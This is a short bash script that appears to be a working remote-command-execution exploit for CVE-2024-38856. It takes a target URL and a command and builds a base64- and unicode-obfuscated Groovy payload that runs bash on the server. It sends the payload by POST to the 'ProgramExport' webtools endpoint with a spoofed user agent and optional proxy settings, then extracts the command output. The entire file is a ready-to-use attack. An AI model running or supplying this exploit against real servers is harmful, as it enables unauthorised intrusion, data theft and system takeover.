#!/usr/bin/env bash
set -e

if [ "$#" -ne 2 ]; then
    echo -e "[\033[1;33m!\033[0m] Usage: $0 <url> <command>"
    exit 1
fi

echo -e "================ \033[1;31mCVE-2024-38856\033[0m ================\n"

B64CMD=$(echo -n "echo [S]; "$2"; echo [S];" | base64)

# throw new Exception('echo "[PWN]"'.execute().text);
# throw new Exception(["bash", "-c", "{echo,d2hvYW1p}|{base64,-d}|{bash,-i}"].execute().text);
command='throw new Exception(["bash", "-c", "{echo,'$B64CMD'}|{base64,-d}|{bash,-i}"].execute().text);'

payload=$(echo -n "$command" | xxd -p -c1 | sed 's/^/\\u00/' | tr -d '\n')

# set proxy
#   -x "socks5://127.0.0.1:1080"
# set timeout
#   --connect-timeout 6 --max-time 10
response=$(curl -s -k -X POST "$1/webtools/control/main/ProgramExport" -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.2; rv:122.0) Gecko/20000101 Firefox/123.0" -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "groovyProgram=$payload")

result=$(echo "$response" | awk 'BEGIN {found=0} /\[S\]/ {if (found == 0) {found=1; next} else {exit}} found {print}')
echo -e "[\033[1;32m*\033[0m]" $(date "+%Y-%m-%d %H:%M:%S") " \n[\033[1;32m*\033[0m] Output: \n"

echo "$result"
echo -e "\n"
